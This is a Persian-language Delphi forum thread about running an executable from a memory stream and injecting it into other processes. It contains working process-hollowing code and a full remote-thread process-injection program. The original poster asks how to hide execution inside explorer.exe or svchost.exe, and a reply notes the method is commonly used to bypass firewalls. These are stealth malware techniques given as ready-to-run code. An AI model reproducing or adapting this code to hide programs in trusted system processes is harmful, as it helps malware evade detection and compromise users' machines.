ورود

View Full Version : اجرای یک فایل از یک Stream در دلفی ....



fire-wizard
شنبه 20 بهمن 1386, 19:11 عصر
با سلام خدمت همه ی اعضای فعال این بخش ...

من از اساتید مخصوصا اقای Inprise یک سوال تخصصی دارم .

من با یک سری از کدها که قبلا اقای Inprise زهمتش رو کشیدن و راهنمایی کردن تونستم یک فایل رو که درون یک TMemoryStream هست اجرا کنم ...

اینم کد مربوط به اجرای یک فایل از یک TMemoryStream



type
TSections = array [0..0] of TImageSectionHeader;


var
Form1: TForm1;

implementation

{$R *.dfm}
{$IMAGEBASE $10000000}

function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
if ((Size mod Alignment) = 0) then
Result := Size
else
Result := ((Size div Alignment) + 1) * Alignment;
end;

function ImageSize(Image: pointer): dword;
var
Alignment: dword;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: dword;
begin
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
begin
Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
end
else
begin
Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
end;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then
begin
if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
begin
Result := Result + PSections[SectionLoop].Misc.VirtualSize;
end
else
begin
Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
end;
end;
end;
end;

procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfo;
begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeO fHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
MyStream: TMemoryStream;

begin
MyStream := TMemoryStream.Create;
try
MyStream.LoadFromFile('Test.exe');
CreateProcessEx(MyStream.Memory);
finally
MyStream.Free;
end;
end;

همونطور که انتظار دارم فایل مورد نظر از TMemoryStream اجرا میشهولی من میخوام به جای اینکه کدهای برنامه ی مورد نظر به حافظه ی مربوط به برنامه ی من تزریق بشه و اجرا بشه به حافظه ی یک برنامه دیگه تزریق بشه و از اونجا اجرا بشه . مثلا در محدوده ی حافظه ی Explorer.exe یا Sevchost.exe اجرا بشه ......

حالا برای درک بهتر این حرفم یک نکته رو اشاره میکنم .....

مثلا اگه داخل فورم برنامه ای که در TMemoryStream هست یک دکمه باشه و داخل اون دکمه فرمانهای زیر باشه و بخواییم با فرمان بالا اون برنامه رو از TMemoryStream اجرا کنیم بعد از کلیک بر روی اون دکمه نام فایلی نمایش داده میشه که برنامه ی موجود در TMemoryStream از داخل اون اجرا شده ..... یعنی فایل برنامه ی ما که باهاش اون برنامه رو از TMemoryStream اجرا کردیم ....


ShowMessage(Application.ExeName);

من میخوام به جای اینکه نام برنامه ی ما رو نمایش بده نام Explorer.exe یا Sevchost.exe رو نمایش بده ..... ( فکر کنم منظورم رو از اینکه به یکی از این دو فایل تزریق بشه نه فایل برنامه ما فهمیدین )

لطفا کمک کنید چون واقعا بهش نیاز دارم ........ نیازم هم مربوط به امنیت هست نه کاراهی غیر انسانی همچون ویروس .....

با تشکر ....

Inprise
شنبه 20 بهمن 1386, 19:43 عصر
برای چنین مواردی DLL Injection بهترین راه حل هست . استفاده از این روش به چند دلیل مسئله ساز میشه که مهمترینش وجود نداشتن توابع استفاده شده در کد فرضی تو در Import Table پروسه مقصدات هست . اگر صورت مسئله ات فقط همین هست که گفتی کد مورد نظرت رو در قالب یک DLL‌ پیاده کن و در Memory Stream ات انکد اش کن . وقتی که لازم بود میتونی دیکدش کنی و به فضای هر پروسه ای که میخواهی تزریقش کنی . نمونه کد تزریق DLL به زبانهای مختلف قبلا گذاشته شده .

+

راستی فراموش نکن که چون اینکار یک روش متداول برای دور زدن فایروال هست بعضی از فایروالهای شخصی تنظیماتی دارن که با فعال بودنش جلوی چنین دستکاری هائی گرفته میشه یا منوط به اجازه صریح هست اگر به مشکلی برخوردی اول وجود فایروال و تنظیماتش رو بررسی کن

ICEMAN
یک شنبه 21 بهمن 1386, 08:08 صبح
این کد رو هم ببین بی زحمت


{
Process Injection by Inpy - Soul
inprise@gmail-dot-com
Greets to soul for giving me the imagebase idea.
}

program Project1;

{$IMAGEBASE $13140000}

uses
Windows;
//Injected entrypoint
function Main(dwEntryPoint: Pointer): longword; stdcall;
begin
{now we are in notepad}
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
MessageBox(0, 'Hello, now I am in the memory of another process!', 'Hijacked Process', 0);
MessageBox(0, 'Now we can do anything we want. :)', 'Hijacked Process', 0);
MessageBox(0, 'You can even delete the original exe and these message boxes will still be here.', 'Hijacked Process', 0);
MessageBox(0, 'See?', 'Hijacked Process', 0);
MessageBox(0, 'Told you.', 'Hijacked Process', 0);
MessageBox(0, 'Ok, bye.', 'Hijacked Process', 0);
MessageBox(0, 'Hails to Barnamenevis.org fellas ', 'Hijacked Process', 0);
MessageBox(0, 'I''ll close notepad for you ;)', 'Hijacked Process', 0);
ExitProcess(0);
Result := 0;
end;
//Injection
procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

var
ProcessHandle, PID: longword;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;

begin
{lets make a new process}
CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
{give it some time to wake up}
Sleep(500);
{and hijack it!}
GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Main);
CloseHandle(ProcessHandle);
{we have a copy of ourself running in notepad so we can exit}
end.
//go home kid :-)

fire-wizard
یک شنبه 21 بهمن 1386, 22:24 عصر
این کد رو خودم دارم ولی نمیدونم چرا به جز NotePad نمیتونم به چیز دیگه تزریقش کنم ...

مثلا Explorer.exe و .... اگه میشه کد رو برای تزریق به Explorer.exe تغییر بدین ... خیلی ممنون میشم ...

MohsenTi
پنج شنبه 07 آذر 1387, 21:42 عصر
دوست عزیز شاید برای پاسخ به این سوال دیر باشه ولی اگر شما c++ بلد باشید در سایت codeproject.com اطلاعات خوبی در این باره وجود داره

Nima NT
پنج شنبه 07 آذر 1387, 23:06 عصر
هیچ وقت برای کمک کردن دیر نیست . ممنون

hossien
جمعه 08 آذر 1387, 16:54 عصر
سلام
ببخشید MohsenTi اگه زحمتی نیست آدرس این مطلب رو در codeproject بنویسید
ممنون

liberty_ir
دوشنبه 25 آذر 1387, 23:02 عصر
اینقدر این مطلبتون جالب بود که منو مجبور کرد عضو بشم و ازتون تشکر کنم واقعا عالی بود .
مخصوصا این که کد دلفی بود ....

حیف که دلفی داره مجبورم می کنه ببوسم بزارمش کنار و برم سمت سی شارپ